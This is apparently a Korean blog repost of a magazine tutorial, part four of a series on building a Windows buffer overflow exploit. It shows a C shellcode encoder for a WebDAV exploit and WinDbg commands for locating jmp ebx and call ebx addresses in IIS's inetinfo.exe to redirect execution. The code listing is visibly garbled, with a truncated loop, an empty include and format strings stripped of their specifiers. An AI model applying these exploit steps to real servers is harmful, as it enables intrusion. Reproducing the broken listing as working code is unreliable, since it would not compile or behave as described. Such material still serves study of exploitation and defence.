티스토리 뷰
















윈도우 버퍼 오버플로우 익스플로잇 개발 - 4  
 
 





셸 코드 인코더
일 반적인 셸 코드에는 해당 언어 팩의 유니코드로 유효하지 않은 코드들이 들어갈 수 있다. <리스트 2>는 이러한 유니코드들을 ASCII 형태로 변환하는 프로그램이다. 열두 번째 줄에서는 웹이나 윈도우 파일 시스템에서 사용하지 못하는 문자들을 걸러내고, 50~52번째 줄에서는 1의 경우 2로 나누면 0이 되므로 유니코드 문자를 사용해 특별하게 처리한다.

<리스트 2> 셸 코드 인코더
1 /*
2 mat@monkey.org
3 mat@panicsecurity.org
4
5 Shellcode encoder for webdav exploit.
6 */
7 #include
8
9
10 int is_special(unsigned char num1)
11 {
12 return (num1==0x3a || num1==0x26 || num1==0x3f || num1==0x25 || num1==0x23 || num1==0x20 || num1==0xa || num1==0xd || num1==0x2f || num1==0x2b || num1==0xb || num1==0x5c);
13 }
14
15
16 void main()
17 {
18 int debug=0;
19 int rc;
20 unsigned char buffer[512];
21 while(rc=read(0,buffer,sizeof(buffer)))
22 {
23 int i;
24 for(i=0;i
25 {
26 unsigned int num1=(buffer[i]/2)&0xff;
27 unsigned int num2=(buffer[i]/2)&0xff;
28
29 if(buffer[i]%2==1)
30 {
31 num2++;
32 }
33 while(is_special(num1) || is_special(num2))
34 {
35 num1++;
36 num2--;
37 if(num2==0)
38 {
39 printf("error! ");
40 }
41 }
42 if(buffer[i]==-1)//0xff)
43 {
44 num2=0x2a;
45 if(debug)
46 {
47 printf(" 00( 0): ",buffer[i]&0xff,buffer[i]);
48 }
49 printf("%u11d5x00",num2);
50 }else if(buffer[i]==1)
51 {
52 printf("%u0411%u00f0");
53 }else{
54 if(debug)
55 {
56 printf(" 00( 0): ",buffer[i]&0xff,buffer[i]);
57 }
58 printf("x00x00",num1,num2);
59 }
60 }
61 }
62 }


jmp, call ebx 찾기
ebx에 우리가 보낸 버퍼의 주소가 들어가는 것을 확인했다. 이 주소로 제어권을 넘기기 위해 jmp ebx나 call ebx 코드를 메모리에서 찾아낸다. 이 주소들도 합당한 유니코드인지 판별한 후 사용해야 한다.



<화면 3> inetinfo.exe선택



<화면 4> 어태치 성공



<화면 5> jmp ebx 찾기



<화면 6> call ebx 찾기



<화면 7> 결과 복사

inetinfo의 jmp ebx, call ebx 주소 값 찾기
① WinDbg를 설치하고 실행한다.
② 이제 프로세스에 어태치해야 한다. 메뉴에서 선택하거나 키를 눌러 프로세스 리스트에서 inetinfo.exe를 찾아 선택한다(<화면 3>). 어태치가 성공하면 브레이크가 걸린 상태로 시작된다(<화면 4>).
③ jmp ebx, call ebx 주소를 찾아보자. 다음과 같은 명령을 내려 0xff 0xe3(jmp ebx)를 찾는다. <화면 5>와 같이 결과가 나올 것이다. 0x10000000~0xe0000000까지 모두 시도해 본다.

s 10000000 L fffffff 0xff 0xe3

④ 다음과 같은 명령을 내려 0xff 0xd3(call ebx)를 찾는다. 마찬가지로 <화면 6>과 같이 결과가 나올 것이다. 0x10000000~0xe0000000까지 모두 시도해 본다.

s 10000000 L fffffff 0xff 0xd3

⑤ 결과를 복사해(<화면 7>) 메모장 등에 복사하고 저장한다.


출처: http://www.imaso.co.kr/?doc=bbs/gnuboard.php&bo_table=article&wr_id=46&page=8